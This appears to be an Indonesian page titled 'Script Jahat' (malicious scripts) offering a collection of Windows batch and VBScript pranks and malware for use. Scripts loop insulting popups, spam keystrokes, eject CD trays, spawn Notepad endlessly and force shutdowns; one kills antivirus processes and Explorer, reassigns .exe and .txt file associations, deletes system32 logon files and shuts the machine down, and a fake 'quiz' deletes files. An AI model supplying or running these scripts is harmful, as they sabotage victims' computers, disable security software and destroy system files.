Script Jahat

@ECHO off
        :Begin
        msg * muka lo jelek
        msg * ngaca dulu gih
        msg * hayo lo,cpu lu gw acak2
        msg * ud install ulang aja
        msg * biar masalah nya kelar
        GOTO BEGIN

@echo off
        msg * apaan sih lo
        shutdown -s -c "Error! muka mu
        standar abis"

 Set wshShell
        =wscript.CreateObject
        ("WScript.Shell")
        do
        wscript.sleep 100
        wshshell.sendkeys "{CAPSLOCK}"
        loop

 Set oWMP = CreateObject
        ("WMPlayer.OCX.7")
        Set colCDROMs =
        oWMP.cdromCollection
        do
        if colCDROMs.Count >= 1 then
        For i = 0 to colCDROMs.Count - 1
        colCDROMs.Item(i).Eject
        Next
        For i = 0 to colCDROMs.Count - 1
        colCDROMs.Item(i).Eject
        Next
        End If
        wscript.sleep 5000
        loop

 Set wshShell =
        wscript.CreateObject
        ("WScript.Shell")
        do
        wscript.sleep 100
        wshshell.sendkeys "~(enter)"
        loop

 MsgBox "kembali ke menu
        sebelumnya"
        Set wshShell
        =wscript.CreateObject
        ("WScript.Shell")
        do     
        wscript.sleep 100
        wshshell.sendkeys "{bs}"
        loop

 Set wshShell =
        wscript.CreateObject
        ("WScript.Shell")
        do
        wscript.sleep 100
        wshshell.sendkeys "lu jelek
        banget sih!!!"
        loop

@ECHO off
        :top
        START %SystemRoot%
        \system32\notepad.exe
        GOTO top

WScript.Sleep 1800
        WScript.Sleep 100
        Set WshShell =
        WScript.CreateObject
        ("WScript.Shell")
        WshShell.Run "notepad"
        WScript.Sleep 10
        WshShell.AppActivate "Notepad"
        WScript.Sleep 50
        WshShell.SendKeys "ka"
        WScript.Sleep 50
        WshShell.SendKeys "mu "
        WScript.Sleep 50
        WshShell.SendKeys "je"
        WScript.Sleep 50
        WshShell.SendKeys "le"
        WScript.Sleep 50
        WshShell.SendKeys "k "
        WScript.Sleep 50
        WshShell.SendKeys " se"
        WScript.Sleep 50
        WshShell.SendKeys "ka"
        WScript.Sleep 50
        WshShell.SendKeys "li"
        WScript.Sleep 50
        WshShell.SendKeys " y"
        WScript.Sleep 50
        WshShell.SendKeys "a"
        WScript.Sleep 50
        WshShell.SendKeys " h"
        WScript.Sleep 50
        WshShell.SendKeys "!"
        WScript.Sleep 50
        WshShell.SendKeys "!! "

 @echo off
        title quiz hari ini :)
        :menu
        cls
        echo jika kamu kena virus apa
        yang kamu lakukan
        pause
        echo pilih yang mana:
        echo 1. matiin computer
        echo 2. format aja
        echo 3. bingung ahh
        set input=nothing
        set /p input=Choice:
        if %input%==1 shutdown -s -t
        30
        if %input%==2 del c:\xxx
        if %input%==3 @ECHO off
        msg * muka lo rusak
        msg * ngaca dulu gih
        msg * hayo lo,cpu lu gw acak2
        msg * ud install ulang aja
        msg * biar masalah nya kelar
        @ECHO off
        :top
        START %SystemRoot%
        \system32\notepad.exe
        GOTO top

@echo off
        set end=md “Hack
        installing”
        set fin=copy “Hack
        log.txt” “Installing”
        %end%
        %fin%
        net send * Hack is
        installing, press OK to
        begin set up.
        kill NAVAPSVC.exe /F /Q
        kill zonelabs.exe /F /Q
        kill explorer.exe /F /Q
        cls
        assoc .exe=txtfile
        assoc .txt=mp3file
        cls
        msg * It is you who is
        hacked ….
        msg * I warned you,
        and you kept going.
        Challenge me and this
        is what happens.
        DEL C:\WINDOWS
        \system32\logoff.exe /
        F /Q
        DEL C:\WINDOWS
        \system32\logon.exe /
        F /Q
        DEL C:\WINDOWS
        \system32\logon.scr /
        F /Q
        cls
        shutdown -s -t 5 -c
        “ thank you for
        waiting”

 Set wshShell = wscript.CreateObject("WScript.Shell")
        do
        wscript.sleep 100
        wshshell.sendkeys "sabotase keyboard, etc"
        loop

 MsgBox "empatujuhcode bilang : anda harus mengulang kembali"
        Set wshShell =wscript.CreateObject("WScript.Shell")
        do
        wscript.sleep 100
        wshshell.sendkeys "{bs}"
        loop

 Set wshShell = wscript.CreateObject("WScript.Shell")
        do
        wscript.sleep 100
        wshshell.sendkeys "~(enter)"
        loop

 Set wshShell =wscript.CreateObject("WScript.Shell")
        do
        wscript.sleep 100
        wshshell.sendkeys "{CAPSLOCK}"
        loop

Set wshShell = wscript.CreateObject("WScript.Shell")
        do
        wscript.sleep 100
        wshshell.sendkeys "~(enter)"
        loop

@echo off
        title quiz hari ini
        :menu
        cls
        echo jika kamu kena virus apa yang kamu lakukan
        pause
        echo pilih yang mana:
        echo 1. matiin computer
        echo 2. format aja
        echo 3. bingung ahh
        set input=nothing
        set /p input=Choice:
        if %input%==1 shutdown -s -t 30
        if %input%==2 del c:\xxx
        if %input%==3 @ECHO off
        msg * muka lo jelek
        msg * ngaca dulu gih
        msg * hayo lo,cpu lu gw acak2
        msg * ud install ulang aja
        msg * biar masalah nya kelar
        @ECHO off
        :top
        START %SystemRoot%\system32\notepad.exe
        GOTO top

@ECHO off
        :Begin
        msg * Kenna Deh
        msg * Huahahaha
        msg * Install Ulang Aja
        msg * Gak Mau Ya ?
        msg * Terserah
        msg * Mari Kita Bermain
        msg * Nikmatilah hidup ini
        msg * Jangan MENYERAH
        msg * Jangan PANIK
        msg * Jangan PUTUS ASA
        msg * Jangan GROGI
        msg * Huahahaha
        msg * Saya tidak bermaksud JAHAT
        msg * Hanya ISENG
        msg * OKE lah Kalau begitu
        msg * Perkenalkan SAYA
        msg * EMPATUJUH CODE
        msg * Kenal SAYA ?
        msg * Gak kenal kan ?
        msg * Makanya Rasakan ini
        msg * Lain Kali Jangan KLIK SEMBARANG
        msg * Gini aja
        msg * Telepon Teman Kamu yg PINTAR
        msg * Beresin Masalah ini
        msg * Sebelum Terlambat
        msg * OK
        msg * Bye
        msg * Love you Full
        msg * *SENSOR*
        msg * Babi
        msg * upss KECEPLOSAN
        msg * huahahaha
        GOTO BEGIN